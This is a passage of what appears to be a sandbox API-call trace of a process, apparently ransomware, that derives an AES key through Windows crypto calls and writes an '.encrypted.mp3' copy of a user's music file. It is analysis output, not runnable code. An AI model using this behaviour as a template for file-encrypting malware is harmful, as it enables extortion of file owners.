lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3", cchWideChar=64, lpMultiByteStr=0xe8f4050f00, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3", lpUsedDefaultChar=0x0) returned 64 [0027.029] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\b3itwwocny-dv_k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0027.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=64, lpWideCharStr=0xe8f40691a0, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3") returned 64 [0027.029] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.030] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.030] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.030] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.030] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.030] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.030] CloseHandle (hObject=0x1fc) returned 1 [0027.030] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.031] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.031] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.031] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.032] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.032] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.032] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.032] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.032] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.033] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.033] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.033] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.033] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.033] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.035] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.035] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.035] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.035] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.035] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.035] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.036] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.036] CryptHashData (hHash=0xe8f4062790, pbData=0xe8f418b5d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.036] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.036] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.036] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062790, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.037] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.037] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.037] CryptDestroyHash (hHash=0xe8f4062790) returned 1 [0027.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.038] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\b3itwwocny-dv_k.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.038] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.038] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.039] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.039] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\b3itwwocny-dv_k.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.041] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x614c, lpOverlapped=0x0) returned 1 [0027.041] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.043] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.044] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.044] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.044] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.044] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.044] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.044] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, 